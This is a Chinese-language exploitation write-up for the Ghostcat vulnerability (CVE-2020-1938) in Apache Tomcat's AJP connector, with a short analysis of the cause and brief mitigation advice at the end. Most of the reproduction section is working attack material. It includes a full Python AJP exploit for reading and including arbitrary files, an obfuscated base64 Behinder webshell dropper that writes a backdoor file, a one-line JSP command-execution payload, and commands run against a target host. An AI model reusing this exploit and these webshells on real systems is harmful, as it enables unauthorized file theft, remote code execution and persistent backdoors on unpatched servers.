一、漏洞描述
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件，将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).
二、危险等级
高危
三、漏洞危害
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能，攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件，比如图片、纯文本文件等)，然后利用 Ghostcat 漏洞进行文件包含，从而达到代码执行的危害
四、影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
五、前提条件
对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009 。
六、漏洞原理
Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shel
七、漏洞分析
1.漏洞成因分析：
tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，两个端口默认均监听在外网ip。
如下图：
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
如下图：
因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封装成对应的request之后,继续走servlet的映射流程如下图所示:
其中具体的映射方式就简略了，具体可以自己查看代码.
2.利用方式:
(1)、利用DefaultServlet实现任意文件下载
当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图
通过serveResource方法来获取资源文件
通过getRelativePath来获取资源文件路径
然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件，不限于class、xml、jar等文件。
(2)、通过jspservlet实现任意后缀文件包含
当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:
控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.
八、漏洞复现
1.环境的准备
(1).windows下漏洞复现环境准备，这里以tomcat-8.5.32为例。
https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip
(2)、安装jdk并配置JDK环境
(3)、然后启动tomcat，点击tomcat目录/bin 文件夹下的startup.bat
2.漏洞复现利用
(1)、任意文件读取(这里可以读取webapps目录下的任何文件)
root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f index.jsp
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f test.txt
2.任意文件包含：(这个有点鸡肋，需要上传要包含的文件内容)
(1)、先上传需要包含的JSP文件代码，这里是冰蝎小马(test.txt)
下面是将test.txt文件上传到ROOT目录下(这里为了漏洞演示，我直接将文件上传到该目录下，在实际的环境中，可以通过文件上传漏洞，上传txt文件结合利用漏洞)
test.txt文件内容：
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<html><head><title>fuck</title></head>
<body bgcolor="#ffffff">
//mima:pass
<jsp:scriptlet><![CDATA[
String realPath = request.getRealPath(request.getRequestURI());
String dir=new File(realPath).getParent();
String strPath = dir+"/t00ls.jspx";
File strFile = new File(strPath);
boolean fileCreated = strFile.createNewFile();
Writer jspx = new BufferedWriter(new FileWriter(strFile));
String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4=";
String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
String eStr = java.net.URLDecoder.decode(str);
jspx.write(eStr);
jspx.flush();
jspx.close();
out.println(strPath);
]]></jsp:scriptlet>
</body>
</html>
</jsp:root>
(2)、测试可以直接访问test.txt
http://192.168.1.9:8080/test.txt
(3)、需要对poc进行修改，将包含"/asdf "修改为"/asdf.jspx"
https://github.com/backlion/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py
其修改后的代码如下：
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jspx',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
(4)、输入以下命令可文件包含执行，最终在root目录下生成一个后门文件t00ls.jspx
root@kali2019:/opt# python cve-2020-10487.py 192.168.1.9 -p 8009 -f test.txt
3.任意文件包含的另一种方法
(1)、也可以上传一句话命令执行文件exec.txt(里面的系统命令可以根据需要修改)
exec.txt内容如下：
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
(2)、测试可以正常访问上传的文件
http://192.168.1.9:8080/exec.txt
(3)、然后输入以下命令，可以任意文件包含执行系统命令
root@kali2019:/opt# python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1
九、漏洞修复建议
Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。
1、临时禁用AJP协议端口，在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
2、配置ajp配置中的secretRequired跟secret属性来限制认证
3、官方下载最新版下载地址：
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